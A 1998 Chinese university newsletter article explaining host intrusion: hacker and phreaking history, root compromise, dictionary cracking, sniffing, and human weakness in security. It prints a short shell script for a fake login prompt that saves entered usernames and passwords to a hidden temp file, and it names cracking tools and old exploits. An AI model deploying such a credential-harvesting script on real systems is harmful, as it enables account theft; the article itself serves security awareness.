[資訊系刊98'10]網路主機的入侵與保護

網路主機的入侵與保護

【vfighter特稿】

      說到電腦主機的入侵，大家第一個聯想到的應該就是駭客（Hacker）了，但是在六、七十年代，Hacker卻是指那些對電腦有著狂熱，並且有過人智慧與毅力的人，Steven Levy的Hackers一書中就說過『他們皆遵照著資源免費分享及絕不破壞數據的行為準則』，在八十年代，新的一代襲用了駭客的名稱，並在新聞的推波助瀾下，Hacker變成了大盜與電子竊賊的代名詞，也由從前被視為先驅的探索者，變成了陰險惡毒的侵略家。

     事實上，早在電腦網路還沒有誕生以前就已經有駭客的雛型了，他們叫做Phreak hone 與 Freak的混和字，一群利用各種辦法打免費電話的人，用一種能產生約 2600Hz 高音訊號裝置騙過電話公司的監控設備，使它以為是合法撥號，然後Phreak們就可以肆無忌憚的打國際電話了。而隨著電話公司的接線設備由電腦取代以後，數碼識別器便能探測出入侵者的微弱電子訊號，所以Phreak乾脆直接由中央辦公室及記帳電腦下手，一旦取得控制權，不但可以打免費電話，還能夠竊聽、修改電話帳單、終止電話服務、甚至是改變服務級別，就有一位Phreak把別人的家用電話成了公共電話，每當他要打電話的時後，就聽到『請投入錢幣』的指令，這對於 Phreak 來說，是比簡單的電話技術更加有誘惑力的電腦科學呀！

     而所有UNIX-Like的系統都有著標準化的認證（Identification）程序，用UserName及對應的PassWord做權限設定，因此只要能取得root（系統管理員）級的密碼就能對系統動手腳了，包括更動系統設定、記錄檔及密碼、設定更多SuperUser(就像是隱藏的站長)、植入程式等，植入的程式可能是個特洛依木馬，是個可以用來蒐集更多ID與PassWord的隱藏程式，概念相當簡單：

echo -n "Welcome to cs20"
echo -n "Please Login now"
echo -n "Login："
read Account_Name
echo -n "Password："
(stty -echo；\
read Account_Pass；\
stty -echo；\
echo ""；\
echo $Account_Name $Account_Pass >> /tmp/.pub)
echo "Login Incorrect."?

這個程式結束後依然以Background Process執行，且暫時將控制權還給系統作正常的Login，等待下一個ID，而Hacker以後只要回收﹑pub這個檔就可以得到所有曾 Login的ID與密碼了。而其他常用的攻擊方法還包括有正門的字典暴力法和內部的竊取法，當我們Telnet到一台不熟的主機時，除了內定的ID與密碼外（不要懷疑！甚至還有root以外的SuperUser ID及密碼），其他資料是一無所知，因此只好用 John The Ripper、DictMak8k、Crack、BigDict 等軟體產生字典檔，然後不斷的Try And Error，當然，成功率與字典檔的編選有絕對的關係，所以對於毫無意義或是特長的密碼，就相當頭痛。比起字典法，內部的竊取法就來的有效且高級得多，用一個合法ID簽入後，利用系統漏洞丟入Cuckoo𠏋 Egg(杜鵑蛋)或是設Trap加以變身，如GNU-Emacs的送件漏洞、Finger的OverFlow執行、SendMail的Debug等。

由於Local網路的發展進步，使我們能用 Sniffer、NetXRay等作封包分析，取得密碼或其他資訊，隨著網路安全的重視，接踵而來的卻是更多樣化的入侵破解途徑，在這裡我要用一個令人洩氣卻值得省思的觀點作結論：『在任何系統中，最薄弱的一環，是人』『無論花費多少錢防護你的系統，要是忘記嚴格訓練工作人員，就有被入侵可能』是的，在盲目升級硬體，改善軟體的同時，人類及社會層面才是需要顧慮的一環，科技發展能被接受和普及化，才能夠真正做到互動式的安全才是。

[下一則 |上一則| 回系刊首頁 | 回系會首頁]